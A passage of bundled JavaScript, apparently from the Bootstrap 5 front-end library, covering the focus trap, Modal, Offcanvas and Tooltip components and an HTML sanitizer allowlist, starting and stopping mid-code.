	    EventHandler.on(document, EVENT_KEYDOWN_TAB, event => this._handleKeydown(event));
	    this._isActive = true;
	  }
	  deactivate() {
	    if (!this._isActive) {
	      return;
	    }
	    this._isActive = false;
	    EventHandler.off(document, EVENT_KEY$7);
	  }
	  _handleFocusin(event) {
	    const {
	      target
	    } = event;
	    const {
	      trapElement
	    } = this._config;
	    if (target === document || target === trapElement || trapElement.contains(target)) {
	      return;
	    }
	    const elements = SelectorEngine.focusableChildren(trapElement);
	    if (elements.length === 0) {
	      trapElement.focus();
	    } else if (this._lastTabNavDirection === TAB_NAV_BACKWARD) {
	      elements[elements.length - 1].focus();
	    } else {
	      elements[0].focus();
	    }
	  }
	  _handleKeydown(event) {
	    if (event.key !== TAB_KEY) {
	      return;
	    }
	    this._lastTabNavDirection = event.shiftKey ? TAB_NAV_BACKWARD : TAB_NAV_FORWARD;
	  }
	  _getConfig(config) {
	    config = { ...Default$6,
	      ...(typeof config === 'object' ? config : {})
	    };
	    typeCheckConfig(NAME$7, config, DefaultType$6);
	    return config;
	  }
	}
	const NAME$6 = 'modal';
	const DATA_KEY$6 = 'bs.modal';
	const EVENT_KEY$6 = `.${DATA_KEY$6}`;
	const DATA_API_KEY$3 = '.data-api';
	const ESCAPE_KEY$1 = 'Escape';
	const Default$5 = {
	  backdrop: true,
	  keyboard: true,
	  focus: true
	};
	const DefaultType$5 = {
	  backdrop: '(boolean|string)',
	  keyboard: 'boolean',
	  focus: 'boolean'
	};
	const EVENT_HIDE$3 = `hide${EVENT_KEY$6}`;
	const EVENT_HIDE_PREVENTED = `hidePrevented${EVENT_KEY$6}`;
	const EVENT_HIDDEN$3 = `hidden${EVENT_KEY$6}`;
	const EVENT_SHOW$3 = `show${EVENT_KEY$6}`;
	const EVENT_SHOWN$3 = `shown${EVENT_KEY$6}`;
	const EVENT_RESIZE = `resize${EVENT_KEY$6}`;
	const EVENT_CLICK_DISMISS = `click.dismiss${EVENT_KEY$6}`;
	const EVENT_KEYDOWN_DISMISS$1 = `keydown.dismiss${EVENT_KEY$6}`;
	const EVENT_MOUSEUP_DISMISS = `mouseup.dismiss${EVENT_KEY$6}`;
	const EVENT_MOUSEDOWN_DISMISS = `mousedown.dismiss${EVENT_KEY$6}`;
	const EVENT_CLICK_DATA_API$2 = `click${EVENT_KEY$6}${DATA_API_KEY$3}`;
	const CLASS_NAME_OPEN = 'modal-open';
	const CLASS_NAME_FADE$3 = 'fade';
	const CLASS_NAME_SHOW$4 = 'show';
	const CLASS_NAME_STATIC = 'modal-static';
	const OPEN_SELECTOR$1 = '.modal.show';
	const SELECTOR_DIALOG = '.modal-dialog';
	const SELECTOR_MODAL_BODY = '.modal-body';
	const SELECTOR_DATA_TOGGLE$2 = '[data-bs-toggle="modal"]';
	class Modal extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._config = this._getConfig(config);
	    this._dialog = SelectorEngine.findOne(SELECTOR_DIALOG, this._element);
	    this._backdrop = this._initializeBackDrop();
	    this._focustrap = this._initializeFocusTrap();
	    this._isShown = false;
	    this._ignoreBackdropClick = false;
	    this._isTransitioning = false;
	    this._scrollBar = new ScrollBarHelper();
	  }
	  static get Default() {
	    return Default$5;
	  }
	  static get NAME() {
	    return NAME$6;
	  }
	  toggle(relatedTarget) {
	    return this._isShown ? this.hide() : this.show(relatedTarget);
	  }
	  show(relatedTarget) {
	    if (this._isShown || this._isTransitioning) {
	      return;
	    }
	    const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$3, {
	      relatedTarget
	    });
	    if (showEvent.defaultPrevented) {
	      return;
	    }
	    this._isShown = true;
	    if (this._isAnimated()) {
	      this._isTransitioning = true;
	    }
	    this._scrollBar.hide();
	    document.body.classList.add(CLASS_NAME_OPEN);
	    this._adjustDialog();
	    this._setEscapeEvent();
	    this._setResizeEvent();
	    EventHandler.on(this._dialog, EVENT_MOUSEDOWN_DISMISS, () => {
	      EventHandler.one(this._element, EVENT_MOUSEUP_DISMISS, event => {
	        if (event.target === this._element) {
	          this._ignoreBackdropClick = true;
	        }
	      });
	    });
	    this._showBackdrop(() => this._showElement(relatedTarget));
	  }
	  hide() {
	    if (!this._isShown || this._isTransitioning) {
	      return;
	    }
	    const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$3);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    this._isShown = false;
	    const isAnimated = this._isAnimated();
	    if (isAnimated) {
	      this._isTransitioning = true;
	    }
	    this._setEscapeEvent();
	    this._setResizeEvent();
	    this._focustrap.deactivate();
	    this._element.classList.remove(CLASS_NAME_SHOW$4);
	    EventHandler.off(this._element, EVENT_CLICK_DISMISS);
	    EventHandler.off(this._dialog, EVENT_MOUSEDOWN_DISMISS);
	    this._queueCallback(() => this._hideModal(), this._element, isAnimated);
	  }
	  dispose() {
	    [window, this._dialog].forEach(htmlElement => EventHandler.off(htmlElement, EVENT_KEY$6));
	    this._backdrop.dispose();
	    this._focustrap.deactivate();
	    super.dispose();
	  }
	  handleUpdate() {
	    this._adjustDialog();
	  }
	  _initializeBackDrop() {
	    return new Backdrop({
	      isVisible: Boolean(this._config.backdrop),
	      isAnimated: this._isAnimated()
	    });
	  }
	  _initializeFocusTrap() {
	    return new FocusTrap({
	      trapElement: this._element
	    });
	  }
	  _getConfig(config) {
	    config = { ...Default$5,
	      ...Manipulator.getDataAttributes(this._element),
	      ...(typeof config === 'object' ? config : {})
	    };
	    typeCheckConfig(NAME$6, config, DefaultType$5);
	    return config;
	  }
	  _showElement(relatedTarget) {
	    const isAnimated = this._isAnimated();
	    const modalBody = SelectorEngine.findOne(SELECTOR_MODAL_BODY, this._dialog);
	    if (!this._element.parentNode || this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {
	      document.body.append(this._element);
	    }
	    this._element.style.display = 'block';
	    this._element.removeAttribute('aria-hidden');
	    this._element.setAttribute('aria-modal', true);
	    this._element.setAttribute('role', 'dialog');
	    this._element.scrollTop = 0;
	    if (modalBody) {
	      modalBody.scrollTop = 0;
	    }
	    if (isAnimated) {
	      reflow(this._element);
	    }
	    this._element.classList.add(CLASS_NAME_SHOW$4);
	    const transitionComplete = () => {
	      if (this._config.focus) {
	        this._focustrap.activate();
	      }
	      this._isTransitioning = false;
	      EventHandler.trigger(this._element, EVENT_SHOWN$3, {
	        relatedTarget
	      });
	    };
	    this._queueCallback(transitionComplete, this._dialog, isAnimated);
	  }
	  _setEscapeEvent() {
	    if (this._isShown) {
	      EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS$1, event => {
	        if (this._config.keyboard && event.key === ESCAPE_KEY$1) {
	          event.preventDefault();
	          this.hide();
	        } else if (!this._config.keyboard && event.key === ESCAPE_KEY$1) {
	          this._triggerBackdropTransition();
	        }
	      });
	    } else {
	      EventHandler.off(this._element, EVENT_KEYDOWN_DISMISS$1);
	    }
	  }
	  _setResizeEvent() {
	    if (this._isShown) {
	      EventHandler.on(window, EVENT_RESIZE, () => this._adjustDialog());
	    } else {
	      EventHandler.off(window, EVENT_RESIZE);
	    }
	  }
	  _hideModal() {
	    this._element.style.display = 'none';
	    this._element.setAttribute('aria-hidden', true);
	    this._element.removeAttribute('aria-modal');
	    this._element.removeAttribute('role');
	    this._isTransitioning = false;
	    this._backdrop.hide(() => {
	      document.body.classList.remove(CLASS_NAME_OPEN);
	      this._resetAdjustments();
	      this._scrollBar.reset();
	      EventHandler.trigger(this._element, EVENT_HIDDEN$3);
	    });
	  }
	  _showBackdrop(callback) {
	    EventHandler.on(this._element, EVENT_CLICK_DISMISS, event => {
	      if (this._ignoreBackdropClick) {
	        this._ignoreBackdropClick = false;
	        return;
	      }
	      if (event.target !== event.currentTarget) {
	        return;
	      }
	      if (this._config.backdrop === true) {
	        this.hide();
	      } else if (this._config.backdrop === 'static') {
	        this._triggerBackdropTransition();
	      }
	    });
	    this._backdrop.show(callback);
	  }
	  _isAnimated() {
	    return this._element.classList.contains(CLASS_NAME_FADE$3);
	  }
	  _triggerBackdropTransition() {
	    const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE_PREVENTED);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    const {
	      classList,
	      scrollHeight,
	      style
	    } = this._element;
	    const isModalOverflowing = scrollHeight > document.documentElement.clientHeight;
	    if (!isModalOverflowing && style.overflowY === 'hidden' || classList.contains(CLASS_NAME_STATIC)) {
	      return;
	    }
	    if (!isModalOverflowing) {
	      style.overflowY = 'hidden';
	    }
	    classList.add(CLASS_NAME_STATIC);
	    this._queueCallback(() => {
	      classList.remove(CLASS_NAME_STATIC);
	      if (!isModalOverflowing) {
	        this._queueCallback(() => {
	          style.overflowY = '';
	        }, this._dialog);
	      }
	    }, this._dialog);
	    this._element.focus();
	  }
	  _adjustDialog() {
	    const isModalOverflowing = this._element.scrollHeight > document.documentElement.clientHeight;
	    const scrollbarWidth = this._scrollBar.getWidth();
	    const isBodyOverflowing = scrollbarWidth > 0;
	    if (!isBodyOverflowing && isModalOverflowing && !isRTL() || isBodyOverflowing && !isModalOverflowing && isRTL()) {
	      this._element.style.paddingLeft = `${scrollbarWidth}px`;
	    }
	    if (isBodyOverflowing && !isModalOverflowing && !isRTL() || !isBodyOverflowing && isModalOverflowing && isRTL()) {
	      this._element.style.paddingRight = `${scrollbarWidth}px`;
	    }
	  }
	  _resetAdjustments() {
	    this._element.style.paddingLeft = '';
	    this._element.style.paddingRight = '';
	  }
	  static jQueryInterface(config, relatedTarget) {
	    return this.each(function () {
	      const data = Modal.getOrCreateInstance(this, config);
	      if (typeof config !== 'string') {
	        return;
	      }
	      if (typeof data[config] === 'undefined') {
	        throw new TypeError(`No method named "${config}"`);
	      }
	      data[config](relatedTarget);
	    });
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API$2, SELECTOR_DATA_TOGGLE$2, function (event) {
	  const target = getElementFromSelector(this);
	  if (['A', 'AREA'].includes(this.tagName)) {
	    event.preventDefault();
	  }
	  EventHandler.one(target, EVENT_SHOW$3, showEvent => {
	    if (showEvent.defaultPrevented) {
	      return;
	    }
	    EventHandler.one(target, EVENT_HIDDEN$3, () => {
	      if (isVisible(this)) {
	        this.focus();
	      }
	    });
	  });
	  const allReadyOpen = SelectorEngine.findOne(OPEN_SELECTOR$1);
	  if (allReadyOpen) {
	    Modal.getInstance(allReadyOpen).hide();
	  }
	  const data = Modal.getOrCreateInstance(target);
	  data.toggle(this);
	});
	enableDismissTrigger(Modal);
	defineJQueryPlugin(Modal);
	const NAME$5 = 'offcanvas';
	const DATA_KEY$5 = 'bs.offcanvas';
	const EVENT_KEY$5 = `.${DATA_KEY$5}`;
	const DATA_API_KEY$2 = '.data-api';
	const EVENT_LOAD_DATA_API$1 = `load${EVENT_KEY$5}${DATA_API_KEY$2}`;
	const ESCAPE_KEY = 'Escape';
	const Default$4 = {
	  backdrop: true,
	  keyboard: true,
	  scroll: false
	};
	const DefaultType$4 = {
	  backdrop: 'boolean',
	  keyboard: 'boolean',
	  scroll: 'boolean'
	};
	const CLASS_NAME_SHOW$3 = 'show';
	const CLASS_NAME_BACKDROP = 'offcanvas-backdrop';
	const OPEN_SELECTOR = '.offcanvas.show';
	const EVENT_SHOW$2 = `show${EVENT_KEY$5}`;
	const EVENT_SHOWN$2 = `shown${EVENT_KEY$5}`;
	const EVENT_HIDE$2 = `hide${EVENT_KEY$5}`;
	const EVENT_HIDDEN$2 = `hidden${EVENT_KEY$5}`;
	const EVENT_CLICK_DATA_API$1 = `click${EVENT_KEY$5}${DATA_API_KEY$2}`;
	const EVENT_KEYDOWN_DISMISS = `keydown.dismiss${EVENT_KEY$5}`;
	const SELECTOR_DATA_TOGGLE$1 = '[data-bs-toggle="offcanvas"]';
	class Offcanvas extends BaseComponent {
	  constructor(element, config) {
	    super(element);
	    this._config = this._getConfig(config);
	    this._isShown = false;
	    this._backdrop = this._initializeBackDrop();
	    this._focustrap = this._initializeFocusTrap();
	    this._addEventListeners();
	  }
	  static get NAME() {
	    return NAME$5;
	  }
	  static get Default() {
	    return Default$4;
	  }
	  toggle(relatedTarget) {
	    return this._isShown ? this.hide() : this.show(relatedTarget);
	  }
	  show(relatedTarget) {
	    if (this._isShown) {
	      return;
	    }
	    const showEvent = EventHandler.trigger(this._element, EVENT_SHOW$2, {
	      relatedTarget
	    });
	    if (showEvent.defaultPrevented) {
	      return;
	    }
	    this._isShown = true;
	    this._element.style.visibility = 'visible';
	    this._backdrop.show();
	    if (!this._config.scroll) {
	      new ScrollBarHelper().hide();
	    }
	    this._element.removeAttribute('aria-hidden');
	    this._element.setAttribute('aria-modal', true);
	    this._element.setAttribute('role', 'dialog');
	    this._element.classList.add(CLASS_NAME_SHOW$3);
	    const completeCallBack = () => {
	      if (!this._config.scroll) {
	        this._focustrap.activate();
	      }
	      EventHandler.trigger(this._element, EVENT_SHOWN$2, {
	        relatedTarget
	      });
	    };
	    this._queueCallback(completeCallBack, this._element, true);
	  }
	  hide() {
	    if (!this._isShown) {
	      return;
	    }
	    const hideEvent = EventHandler.trigger(this._element, EVENT_HIDE$2);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    this._focustrap.deactivate();
	    this._element.blur();
	    this._isShown = false;
	    this._element.classList.remove(CLASS_NAME_SHOW$3);
	    this._backdrop.hide();
	    const completeCallback = () => {
	      this._element.setAttribute('aria-hidden', true);
	      this._element.removeAttribute('aria-modal');
	      this._element.removeAttribute('role');
	      this._element.style.visibility = 'hidden';
	      if (!this._config.scroll) {
	        new ScrollBarHelper().reset();
	      }
	      EventHandler.trigger(this._element, EVENT_HIDDEN$2);
	    };
	    this._queueCallback(completeCallback, this._element, true);
	  }
	  dispose() {
	    this._backdrop.dispose();
	    this._focustrap.deactivate();
	    super.dispose();
	  }
	  _getConfig(config) {
	    config = { ...Default$4,
	      ...Manipulator.getDataAttributes(this._element),
	      ...(typeof config === 'object' ? config : {})
	    };
	    typeCheckConfig(NAME$5, config, DefaultType$4);
	    return config;
	  }
	  _initializeBackDrop() {
	    return new Backdrop({
	      className: CLASS_NAME_BACKDROP,
	      isVisible: this._config.backdrop,
	      isAnimated: true,
	      rootElement: this._element.parentNode,
	      clickCallback: () => this.hide()
	    });
	  }
	  _initializeFocusTrap() {
	    return new FocusTrap({
	      trapElement: this._element
	    });
	  }
	  _addEventListeners() {
	    EventHandler.on(this._element, EVENT_KEYDOWN_DISMISS, event => {
	      if (this._config.keyboard && event.key === ESCAPE_KEY) {
	        this.hide();
	      }
	    });
	  }
	  static jQueryInterface(config) {
	    return this.each(function () {
	      const data = Offcanvas.getOrCreateInstance(this, config);
	      if (typeof config !== 'string') {
	        return;
	      }
	      if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
	        throw new TypeError(`No method named "${config}"`);
	      }
	      data[config](this);
	    });
	  }
	}
	EventHandler.on(document, EVENT_CLICK_DATA_API$1, SELECTOR_DATA_TOGGLE$1, function (event) {
	  const target = getElementFromSelector(this);
	  if (['A', 'AREA'].includes(this.tagName)) {
	    event.preventDefault();
	  }
	  if (isDisabled(this)) {
	    return;
	  }
	  EventHandler.one(target, EVENT_HIDDEN$2, () => {
	    if (isVisible(this)) {
	      this.focus();
	    }
	  });
	  const allReadyOpen = SelectorEngine.findOne(OPEN_SELECTOR);
	  if (allReadyOpen && allReadyOpen !== target) {
	    Offcanvas.getInstance(allReadyOpen).hide();
	  }
	  const data = Offcanvas.getOrCreateInstance(target);
	  data.toggle(this);
	});
	EventHandler.on(window, EVENT_LOAD_DATA_API$1, () => SelectorEngine.find(OPEN_SELECTOR).forEach(el => Offcanvas.getOrCreateInstance(el).show()));
	enableDismissTrigger(Offcanvas);
	defineJQueryPlugin(Offcanvas);
	const uriAttributes = new Set(['background', 'cite', 'href', 'itemtype', 'longdesc', 'poster', 'src', 'xlink:href']);
	const ARIA_ATTRIBUTE_PATTERN = /^aria-[\w-]*$/i;
	const SAFE_URL_PATTERN = /^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i;
	const DATA_URL_PATTERN = /^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;
	const allowedAttribute = (attribute, allowedAttributeList) => {
	  const attributeName = attribute.nodeName.toLowerCase();
	  if (allowedAttributeList.includes(attributeName)) {
	    if (uriAttributes.has(attributeName)) {
	      return Boolean(SAFE_URL_PATTERN.test(attribute.nodeValue) || DATA_URL_PATTERN.test(attribute.nodeValue));
	    }
	    return true;
	  }
	  const regExp = allowedAttributeList.filter(attributeRegex => attributeRegex instanceof RegExp);
	  for (let i = 0, len = regExp.length; i < len; i++) {
	    if (regExp[i].test(attributeName)) {
	      return true;
	    }
	  }
	  return false;
	};
	const DefaultAllowlist = {
	  '*': ['class', 'dir', 'id', 'lang', 'role', ARIA_ATTRIBUTE_PATTERN],
	  a: ['target', 'href', 'title', 'rel'],
	  area: [],
	  b: [],
	  br: [],
	  col: [],
	  code: [],
	  div: [],
	  em: [],
	  hr: [],
	  h1: [],
	  h2: [],
	  h3: [],
	  h4: [],
	  h5: [],
	  h6: [],
	  i: [],
	  img: ['src', 'srcset', 'alt', 'title', 'width', 'height'],
	  li: [],
	  ol: [],
	  p: [],
	  pre: [],
	  s: [],
	  small: [],
	  span: [],
	  sub: [],
	  sup: [],
	  strong: [],
	  u: [],
	  ul: []
	};
	function sanitizeHtml(unsafeHtml, allowList, sanitizeFn) {
	  if (!unsafeHtml.length) {
	    return unsafeHtml;
	  }
	  if (sanitizeFn && typeof sanitizeFn === 'function') {
	    return sanitizeFn(unsafeHtml);
	  }
	  const domParser = new window.DOMParser();
	  const createdDocument = domParser.parseFromString(unsafeHtml, 'text/html');
	  const elements = [].concat(...createdDocument.body.querySelectorAll('*'));
	  for (let i = 0, len = elements.length; i < len; i++) {
	    const element = elements[i];
	    const elementName = element.nodeName.toLowerCase();
	    if (!Object.keys(allowList).includes(elementName)) {
	      element.remove();
	      continue;
	    }
	    const attributeList = [].concat(...element.attributes);
	    const allowedAttributes = [].concat(allowList['*'] || [], allowList[elementName] || []);
	    attributeList.forEach(attribute => {
	      if (!allowedAttribute(attribute, allowedAttributes)) {
	        element.removeAttribute(attribute.nodeName);
	      }
	    });
	  }
	  return createdDocument.body.innerHTML;
	}
	const NAME$4 = 'tooltip';
	const DATA_KEY$4 = 'bs.tooltip';
	const EVENT_KEY$4 = `.${DATA_KEY$4}`;
	const CLASS_PREFIX$1 = 'bs-tooltip';
	const DISALLOWED_ATTRIBUTES = new Set(['sanitize', 'allowList', 'sanitizeFn']);
	const DefaultType$3 = {
	  animation: 'boolean',
	  template: 'string',
	  title: '(string|element|function)',
	  trigger: 'string',
	  delay: '(number|object)',
	  html: 'boolean',
	  selector: '(string|boolean)',
	  placement: '(string|function)',
	  offset: '(array|string|function)',
	  container: '(string|element|boolean)',
	  fallbackPlacements: 'array',
	  boundary: '(string|element)',
	  customClass: '(string|function)',
	  sanitize: 'boolean',
	  sanitizeFn: '(null|function)',
	  allowList: 'object',
	  popperConfig: '(null|object|function)'
	};
	const AttachmentMap = {
	  AUTO: 'auto',
	  TOP: 'top',
	  RIGHT: isRTL() ? 'left' : 'right',
	  BOTTOM: 'bottom',
	  LEFT: isRTL() ? 'right' : 'left'
	};
	const Default$3 = {
	  animation: true,
	  template: '<div class="tooltip" role="tooltip">' + '<div class="tooltip-arrow"></div>' + '<div class="tooltip-inner"></div>' + '</div>',
	  trigger: 'hover focus',
	  title: '',
	  delay: 0,
	  html: false,
	  selector: false,
	  placement: 'top',
	  offset: [0, 0],
	  container: false,
	  fallbackPlacements: ['top', 'right', 'bottom', 'left'],
	  boundary: 'clippingParents',
	  customClass: '',
	  sanitize: true,
	  sanitizeFn: null,
	  allowList: DefaultAllowlist,
	  popperConfig: null
	};
	const Event$2 = {
	  HIDE: `hide${EVENT_KEY$4}`,
	  HIDDEN: `hidden${EVENT_KEY$4}`,
	  SHOW: `show${EVENT_KEY$4}`,
	  SHOWN: `shown${EVENT_KEY$4}`,
	  INSERTED: `inserted${EVENT_KEY$4}`,
	  CLICK: `click${EVENT_KEY$4}`,
	  FOCUSIN: `focusin${EVENT_KEY$4}`,
	  FOCUSOUT: `focusout${EVENT_KEY$4}`,
	  MOUSEENTER: `mouseenter${EVENT_KEY$4}`,
	  MOUSELEAVE: `mouseleave${EVENT_KEY$4}`
	};
	const CLASS_NAME_FADE$2 = 'fade';
	const CLASS_NAME_MODAL = 'modal';
	const CLASS_NAME_SHOW$2 = 'show';
	const HOVER_STATE_SHOW = 'show';
	const HOVER_STATE_OUT = 'out';
	const SELECTOR_TOOLTIP_INNER = '.tooltip-inner';
	const SELECTOR_MODAL = `.${CLASS_NAME_MODAL}`;
	const EVENT_MODAL_HIDE = 'hide.bs.modal';
	const TRIGGER_HOVER = 'hover';
	const TRIGGER_FOCUS = 'focus';
	const TRIGGER_CLICK = 'click';
	const TRIGGER_MANUAL = 'manual';
	class Tooltip extends BaseComponent {
	  constructor(element, config) {
	    if (typeof Popper === 'undefined') {
	      throw new TypeError('Bootstrap\'s tooltips require Popper (https://popper.js.org)');
	    }
	    super(element);
	    this._isEnabled = true;
	    this._timeout = 0;
	    this._hoverState = '';
	    this._activeTrigger = {};
	    this._popper = null;
	    this._config = this._getConfig(config);
	    this.tip = null;
	    this._setListeners();
	  }
	  static get Default() {
	    return Default$3;
	  }
	  static get NAME() {
	    return NAME$4;
	  }
	  static get Event() {
	    return Event$2;
	  }
	  static get DefaultType() {
	    return DefaultType$3;
	  }
	  enable() {
	    this._isEnabled = true;
	  }
	  disable() {
	    this._isEnabled = false;
	  }
	  toggleEnabled() {
	    this._isEnabled = !this._isEnabled;
	  }
	  toggle(event) {
	    if (!this._isEnabled) {
	      return;
	    }
	    if (event) {
	      const context = this._initializeOnDelegatedTarget(event);
	      context._activeTrigger.click = !context._activeTrigger.click;
	      if (context._isWithActiveTrigger()) {
	        context._enter(null, context);
	      } else {
	        context._leave(null, context);
	      }
	    } else {
	      if (this.getTipElement().classList.contains(CLASS_NAME_SHOW$2)) {
	        this._leave(null, this);
	        return;
	      }
	      this._enter(null, this);
	    }
	  }
	  dispose() {
	    clearTimeout(this._timeout);
	    EventHandler.off(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler);
	    if (this.tip) {
	      this.tip.remove();
	    }
	    this._disposePopper();
	    super.dispose();
	  }
	  show() {
	    if (this._element.style.display === 'none') {
	      throw new Error('Please use show on visible elements');
	    }
	    if (!(this.isWithContent() && this._isEnabled)) {
	      return;
	    }
	    const showEvent = EventHandler.trigger(this._element, this.constructor.Event.SHOW);
	    const shadowRoot = findShadowRoot(this._element);
	    const isInTheDom = shadowRoot === null ? this._element.ownerDocument.documentElement.contains(this._element) : shadowRoot.contains(this._element);
	    if (showEvent.defaultPrevented || !isInTheDom) {
	      return;
	    }
	    if (this.constructor.NAME === 'tooltip' && this.tip && this.getTitle() !== this.tip.querySelector(SELECTOR_TOOLTIP_INNER).innerHTML) {
	      this._disposePopper();
	      this.tip.remove();
	      this.tip = null;
	    }
	    const tip = this.getTipElement();
	    const tipId = getUID(this.constructor.NAME);
	    tip.setAttribute('id', tipId);
	    this._element.setAttribute('aria-describedby', tipId);
	    if (this._config.animation) {
	      tip.classList.add(CLASS_NAME_FADE$2);
	    }
	    const placement = typeof this._config.placement === 'function' ? this._config.placement.call(this, tip, this._element) : this._config.placement;
	    const attachment = this._getAttachment(placement);
	    this._addAttachmentClass(attachment);
	    const {
	      container
	    } = this._config;
	    Data.set(tip, this.constructor.DATA_KEY, this);
	    if (!this._element.ownerDocument.documentElement.contains(this.tip)) {
	      container.append(tip);
	      EventHandler.trigger(this._element, this.constructor.Event.INSERTED);
	    }
	    if (this._popper) {
	      this._popper.update();
	    } else {
	      this._popper = createPopper(this._element, tip, this._getPopperConfig(attachment));
	    }
	    tip.classList.add(CLASS_NAME_SHOW$2);
	    const customClass = this._resolvePossibleFunction(this._config.customClass);
	    if (customClass) {
	      tip.classList.add(...customClass.split(' '));
	    }
	    if ('ontouchstart' in document.documentElement) {
	      [].concat(...document.body.children).forEach(element => {
	        EventHandler.on(element, 'mouseover', noop);
	      });
	    }
	    const complete = () => {
	      const prevHoverState = this._hoverState;
	      this._hoverState = null;
	      EventHandler.trigger(this._element, this.constructor.Event.SHOWN);
	      if (prevHoverState === HOVER_STATE_OUT) {
	        this._leave(null, this);
	      }
	    };
	    const isAnimated = this.tip.classList.contains(CLASS_NAME_FADE$2);
	    this._queueCallback(complete, this.tip, isAnimated);
	  }
	  hide() {
	    if (!this._popper) {
	      return;
	    }
	    const tip = this.getTipElement();
	    const complete = () => {
	      if (this._isWithActiveTrigger()) {
	        return;
	      }
	      if (this._hoverState !== HOVER_STATE_SHOW) {
	        tip.remove();
	      }
	      this._cleanTipClass();
	      this._element.removeAttribute('aria-describedby');
	      EventHandler.trigger(this._element, this.constructor.Event.HIDDEN);
	      this._disposePopper();
	    };
	    const hideEvent = EventHandler.trigger(this._element, this.constructor.Event.HIDE);
	    if (hideEvent.defaultPrevented) {
	      return;
	    }
	    tip.classList.remove(CLASS_NAME_SHOW$2);
	    if ('ontouchstart' in document.documentElement) {
	      [].concat(...document.body.children).forEach(element => EventHandler.off(element, 'mouseover', noop));
	    }
	    this._activeTrigger[TRIGGER_CLICK] = false;
	    this._activeTrigger[TRIGGER_FOCUS] = false;
	    this._activeTrigger[TRIGGER_HOVER] = false;
	    const isAnimated = this.tip.classList.contains(CLASS_NAME_FADE$2);
	    this._queueCallback(complete, this.tip, isAnimated);
	    this._hoverState = '';
	  }
	  update() {
	    if (this._popper !== null) {
	      this._popper.update();
	    }
	  }
	  isWithContent() {
	    return Boolean(this.getTitle());
	  }
	  getTipElement() {
	    if (this.tip) {
	      return this.tip;
	    }
	    const element = document.createElement('div');
	    element.innerHTML = this._config.template;
	    const tip = element.children[0];
	    this.setContent(tip);
	    tip.classList.remove(CLASS_NAME_FADE$2, CLASS_NAME_SHOW$2);
	    this.tip = tip;
	    return this.tip;
	  }
	  setContent(tip) {
	    this._sanitizeAndSetContent(tip, this.getTitle(), SELECTOR_TOOLTIP_INNER);
	  }
	  _sanitizeAndSetContent(template, content, selector) {
	    const templateElement = SelectorEngine.findOne(selector, template);
	    if (!content && templateElement) {
	      templateElement.remove();
	      return;
	    }
	    this.setElementContent(templateElement, content);
	  }
	  setElementContent(element, content) {
	    if (element === null) {
	      return;
	    }
	    if (isElement(content)) {
	      content = getElement(content);
	      if (this._config.html) {
	        if (content.parentNode !== element) {
	          element.innerHTML = '';
	          element.append(content);
	        }
	      } else {
	        element.textContent = content.textContent;
	      }
	      return;
	    }
	    if (this._config.html) {
	      if (this._config.sanitize) {
	        content = sanitizeHtml(content, this._config.allowList, this._config.sanitizeFn);
	      }
	      element.innerHTML = content;
	    } else {
	      element.textContent = content;
	    }
	  }
	  getTitle() {
	    const title = this._element.getAttribute('data-bs-original-title') || this._config.title;
	    return this._resolvePossibleFunction(title);
	  }
	  updateAttachment(attachment) {
	    if (attachment === 'right') {
	      return 'end';
	    }
	    if (attachment === 'left') {
	      return 'start';
	    }
	    return attachment;
	  }
	  _initializeOnDelegatedTarget(event, context) {
	    return context || this.constructor.getOrCreateInstance(event.delegateTarget, this._getDelegateConfig());
	  }
	  _getOffset() {
	    const {
	      offset
	    } = this._config;
	    if (typeof offset === 'string') {
	      return offset.split(',').map(val => Number.parseInt(val, 10));
	    }
	    if (typeof offset === 'function') {
	      return popperData => offset(popperData, this._element);
	    }
	    return offset;
	  }
	  _resolvePossibleFunction(content) {
	    return typeof content === 'function' ? content.call(this._element) : content;
	  }
	  _getPopperConfig(attachment) {
	    const defaultBsPopperConfig = {
	      placement: attachment,
	      modifiers: [{
	        name: 'flip',
	        options: {
	          fallbackPlacements: this._config.fallbackPlacements
	        }
	      }, {
	        name: 'offset',
	        options: {
	          offset: this._getOffset()
	        }
	      }, {
	        name: 'preventOverflow',
	        options: {
	          boundary: this._config.boundary
	        }
	      }, {
	        name: 'arrow',
	        options: {
	          element: `.${this.constructor.NAME}-arrow`
	        }
	      }, {
	        name: 'onChange',
	        enabled: true,
	        phase: 'afterWrite',
	        fn: data => this._handlePopperPlacementChange(data)
	      }],
	      onFirstUpdate: data => {
	        if (data.options.placement !== data.placement) {
	          this._handlePopperPlacementChange(data);
	        }
	      }
	    };
	    return { ...defaultBsPopperConfig,
	      ...(typeof this._config.popperConfig === 'function' ? this._config.popperConfig(defaultBsPopperConfig) : this._config.popperConfig)
	    };
	  }
	  _addAttachmentClass(attachment) {
	    this.getTipElement().classList.add(`${this._getBasicClassPrefix()}-${this.updateAttachment(attachment)}`);
	  }
	  _getAttachment(placement) {
	    return AttachmentMap[placement.toUpperCase()];
	  }
	  _setListeners() {
	    const triggers = this._config.trigger.split(' ');
	    triggers.forEach(trigger => {
	      if (trigger === 'click') {
	        EventHandler.on(this._element, this.constructor.Event.CLICK, this._config.selector, event => this.toggle(event));
	      } else if (trigger !== TRIGGER_MANUAL) {
	        const eventIn = trigger === TRIGGER_HOVER ? this.constructor.Event.MOUSEENTER : this.constructor.Event.FOCUSIN;
	        const eventOut = trigger === TRIGGER_HOVER ? this.constructor.Event.MOUSELEAVE : this.constructor.Event.FOCUSOUT;
	        EventHandler.on(this._element, eventIn, this._config.selector, event => this._enter(event));
	        EventHandler.on(this._element, eventOut, this._config.selector, event => this._leave(event));
	      }
	    });
	    this._hideModalHandler = () => {
	      if (this._element) {
	        this.hide();
	      }
	    };
	    EventHandler.on(this._element.closest(SELECTOR_MODAL), EVENT_MODAL_HIDE, this._hideModalHandler);
